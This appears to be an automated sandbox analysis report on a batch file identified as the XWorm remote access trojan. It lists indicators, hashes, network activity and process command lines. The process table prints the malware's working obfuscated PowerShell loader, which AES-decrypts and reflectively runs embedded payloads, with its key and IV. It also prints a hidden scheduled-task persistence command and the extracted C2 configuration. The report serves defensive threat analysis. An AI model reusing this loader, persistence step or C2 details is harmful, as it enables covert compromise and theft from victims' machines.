| File name: | winlogon.bat |
| Full analysis: | https://app.any.run/tasks/ad3639fb-ad14-4dc0-9418-c9b1e9887e78 |
| Verdict: | Malicious activity |
| Threats: | XWorm is a remote access trojan (RAT) sold as a malware-as-a-service. It possesses an extensive hacking toolset and is capable of gathering private information and files from the infected computer, hijacking MetaMask and Telegram accounts, and tracking user activity. XWorm is typically delivered to victims' computers through multi-stage attacks that start with phishing emails. |
| Analysis date: | September 02, 2024, 09:37:44 |
| OS: | Windows 10 Professional (build: 19045, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/x-msdos-batch |
| File info: | DOS batch file, ASCII text, with very long lines (43629), with CRLF line terminators |
| MD5: | 640D55FA20F22154280300E485DAF75E |
| SHA1: | EDFD07E496AD0067C2FB6664F037C911B2FCF2DA |
| SHA256: | 9FF43FFE0559D0B0BA9C57DE99361313003A00F3CE7F0F6FCFB87ED54BCC38BF |
| SSDEEP: | 6144:Z0OBpcQcdMIOqZwEHFuY4PA0mZJ6oLkt6zS+jEXa/EQgwXPsoPso:WOBpVc1OeFu1A0Y6ogMzwa/X11PT |
MALICIOUS
Changes powershell execution policy (Bypass)
- cmd.exe (PID: 3328)
- cmd.exe (PID: 7096)
- cmd.exe (PID: 6372)
Bypass execution policy to execute commands
- powershell.exe (PID: 964)
- powershell.exe (PID: 2268)
- powershell.exe (PID: 5044)
Run PowerShell with an invisible window
- powershell.exe (PID: 2268)
- powershell.exe (PID: 5044)
Uses AES cipher (POWERSHELL)
- powershell.exe (PID: 2268)
- powershell.exe (PID: 5044)
Gets or sets the symmetric key that is used for encryption and decryption (POWERSHELL)
- powershell.exe (PID: 2268)
- powershell.exe (PID: 5044)
Gets or sets the initialization vector for the symmetric algorithm (POWERSHELL)
- powershell.exe (PID: 2268)
- powershell.exe (PID: 5044)
XWORM has been detected (YARA)
- powershell.exe (PID: 5044)
SUSPICIOUS
Powershell scripting: start process
- cmd.exe (PID: 3328)
The process bypasses the loading of PowerShell profile settings
- cmd.exe (PID: 3328)
- cmd.exe (PID: 7096)
- cmd.exe (PID: 6372)
Starts POWERSHELL.EXE for commands execution
- cmd.exe (PID: 3328)
- cmd.exe (PID: 7096)
- powershell.exe (PID: 2268)
- cmd.exe (PID: 6372)
Starts CMD.EXE for commands execution
- powershell.exe (PID: 964)
- wscript.exe (PID: 4164)
Probably obfuscated PowerShell command line is found
- cmd.exe (PID: 7096)
- cmd.exe (PID: 6372)
Executing commands from a ".bat" file
- powershell.exe (PID: 964)
- wscript.exe (PID: 4164)
Cryptography encrypted command line is found
- powershell.exe (PID: 2268)
- powershell.exe (PID: 5044)
Application launched itself
- powershell.exe (PID: 2268)
The process executes VB scripts
- powershell.exe (PID: 2268)
Runs shell command (SCRIPT)
- wscript.exe (PID: 4164)
Executes application which crashes
- powershell.exe (PID: 5044)
Checks for external IP
- svchost.exe (PID: 2256)
- powershell.exe (PID: 5044)
The process creates files with name similar to system file names
- WerFault.exe (PID: 4128)
INFO
The process uses the downloaded file
- powershell.exe (PID: 964)
- wscript.exe (PID: 4164)
- powershell.exe (PID: 2268)
Uses string split method (POWERSHELL)
- powershell.exe (PID: 2268)
- powershell.exe (PID: 5044)
Gets data length (POWERSHELL)
- powershell.exe (PID: 2268)
- powershell.exe (PID: 5044)
Checks if a key exists in the options dictionary (POWERSHELL)
- powershell.exe (PID: 1124)
Checks proxy server information
- WerFault.exe (PID: 4128)
- powershell.exe (PID: 5044)
Disables trace logs
- powershell.exe (PID: 5044)
Reads the software policy settings
- WerFault.exe (PID: 4128)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
XWorm
(PID) Process(5044) powershell.exe
C2https://pastebin.com/raw/kTrgfRNT:<123456789>
Keys
AES<Xwormmm>
Options
Splitter3
Sleep timeHACKED
USB drop nameUSB.exe
MutexjIT95XLz7uS8pPGN
Total processes
152
Monitored processes
22
Malicious processes
7
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 964 | powershell -noprofile -ep bypass -command Start-Process -FilePath '"C:\Users\admin\AppData\Local\Temp\winlogon.bat"' -ArgumentList 'C:\Users\admin\AppData\Local\Temp' -Verb runas | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1124 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_111_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\admin\AppData\Roaming\startup_str_111.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1292 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1812 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2080 | C:\WINDOWS\system32\net1 file | C:\Windows\System32\net1.exe | — | net.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Net Command Exit code: 2 Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2256 | C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s Dnscache | C:\Windows\System32\svchost.exe | services.exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Host Process for Windows Services Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2268 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0AaW2JLZFEX9NkyiPBs6rmvqyW2dNBs+5ImqepBcCy0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/vnbgHHbSRXp1XRljYKPZA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $hlGOH=New-Object System.IO.MemoryStream(,$param_var); $FbODK=New-Object System.IO.MemoryStream; $sLbzb=New-Object System.IO.Compression.GZipStream($hlGOH, [IO.Compression.CompressionMode]::Decompress); $sLbzb.CopyTo($FbODK); $sLbzb.Dispose(); $hlGOH.Dispose(); $FbODK.Dispose(); $FbODK.ToArray();}function execute_function($param_var,$param2_var){ $bhCoL=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $wygiN=$bhCoL.EntryPoint; $wygiN.Invoke($null, $param2_var);}$fZioD = 'C:\Users\admin\AppData\Local\Temp\winlogon.bat';$host.UI.RawUI.WindowTitle = $fZioD;$fuOci=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($fZioD).Split([Environment]::NewLine);foreach ($NVYGg in $fuOci) { if ($NVYGg.StartsWith(':: ')) { $vFZXY=$NVYGg.Substring(3); break; }}$payloads_var=[string[]]$vFZXY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('C:\Users\admin\AppData\Local\Temp')); | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 4294967295 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 3328 | C:\WINDOWS\system32\cmd.exe /c ""C:\Users\admin\AppData\Local\Temp\winlogon.bat" " | C:\Windows\System32\cmd.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4128 | C:\WINDOWS\system32\WerFault.exe -u -p 5044 -s 2760 | C:\Windows\System32\WerFault.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Problem Reporting Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4164 | "C:\WINDOWS\System32\WScript.exe" "C:\Users\admin\AppData\Roaming\startup_str_111.vbs" | C:\Windows\System32\wscript.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.812.10240.16384 Modules
| |||||||||||||||
Total events
36 502
Read events
36 432
Write events
64
Delete events
6
Modification events
| (PID) Process: | (964) powershell.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | ProxyBypass |
Value: 1 | |||
| (PID) Process: | (964) powershell.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | IntranetName |
Value: 1 | |||
| (PID) Process: | (964) powershell.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 1 | |||
| (PID) Process: | (964) powershell.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 0 | |||
| (PID) Process: | (964) powershell.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache |
| Operation: | write | Name: | C:\WINDOWS\System32\cmd.exe.FriendlyAppName |
Value: Windows Command Processor | |||
| (PID) Process: | (964) powershell.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache |
| Operation: | write | Name: | C:\WINDOWS\System32\cmd.exe.ApplicationCompany |
Value: Microsoft Corporation | |||
| (PID) Process: | (2268) powershell.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | ProxyBypass |
Value: 1 | |||
| (PID) Process: | (2268) powershell.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | IntranetName |
Value: 1 | |||
| (PID) Process: | (2268) powershell.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 1 | |||
| (PID) Process: | (2268) powershell.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 0 | |||
Executable files
0
Suspicious files
4
Text files
12
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 4128 | WerFault.exe | C:\ProgramData\Microsoft\Windows\WER\ReportArchive\AppCrash_powershell.exe_4836868a81b815fdf0982b7e5a7782fcd43af213_fbd08ea6_892dbe8f-3632-42f6-bdf2-338f2f1fbd68\Report.wer | — | |
MD5:— | SHA256:— | |||
| 2268 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_dykywfiq.cgc.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 4128 | WerFault.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\37C951188967C8EB88D99893D9D191FE | binary | |
MD5:FB64A9EBEDF48D3895381D5B7D80743D | SHA256:EA21D495930AD76F267A33A0F593DBF0C7EA75E457FCAE49A29DAAD8BD920F42 | |||
| 964 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:D033F15CB706DA8EB572A2D8C21446F4 | SHA256:AF589295DA7FA55D4B860F9AEFF7720687C4F8213A55E9B3C059B8E027B4A18E | |||
| 2268 | powershell.exe | C:\Users\admin\AppData\Roaming\startup_str_111.vbs | text | |
MD5:C0366418B9A32069D0422795641A0610 | SHA256:89DBE1351A3385D36089C89794F03B090CBB8B33713BB7A6693EB73B91866B76 | |||
| 4128 | WerFault.exe | C:\ProgramData\Microsoft\Windows\WER\Temp\WERF22A.tmp.xml | xml | |
MD5:9F0FE0F69F43A1A0AFA3AE82AEC3504A | SHA256:95AB34C0F26344C78DF2B193707878C7F90232779886308C76B9B24C3B1C22B9 | |||
| 1124 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_2gtosolx.hmp.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 964 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_jyxxrpcz.b1u.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 964 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_jz55ifn0.g5k.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 5044 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_r14e4dpu.a2m.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
4
TCP/UDP connections
34
DNS requests
17
Threats
4
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
5044 | powershell.exe | GET | 200 | 208.95.112.1:80 | http://ip-api.com/line/?fields=hosting | unknown | — | — | shared |
5816 | svchost.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
7116 | SIHClient.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
7116 | SIHClient.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
7072 | RUXIMICS.exe | 40.127.240.158:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | IE | unknown |
2120 | MoUsoCoreWorker.exe | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
3352 | svchost.exe | 40.127.240.158:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | IE | unknown |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
3352 | svchost.exe | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
3260 | svchost.exe | 40.113.103.199:443 | client.wns.windows.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
2120 | MoUsoCoreWorker.exe | 51.124.78.146:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
5816 | svchost.exe | 40.126.31.69:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
5816 | svchost.exe | 192.229.221.95:80 | ocsp.digicert.com | EDGECAST | US | whitelisted |
5044 | powershell.exe | 208.95.112.1:80 | ip-api.com | TUT-AS | US | shared |
DNS requests
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
ip-api.com |
| shared |
watson.events.data.microsoft.com |
| whitelisted |
slscr.update.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
fe3cr.delivery.mp.microsoft.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2256 | svchost.exe | Device Retrieving External IP Address Detected | INFO [ANY.RUN] External IP Check (ip-api .com) |
5044 | powershell.exe | Device Retrieving External IP Address Detected | POLICY [ANY.RUN] External Hosting Lookup by ip-api |
5044 | powershell.exe | Device Retrieving External IP Address Detected | ET POLICY External IP Lookup ip-api.com |
2256 | svchost.exe | Device Retrieving External IP Address Detected | ET INFO External IP Lookup Domain in DNS Lookup (ip-api .com) |
Process | Message |
|---|---|
powershell.exe | CLR: Managed code called FailFast without specifying a reason.
|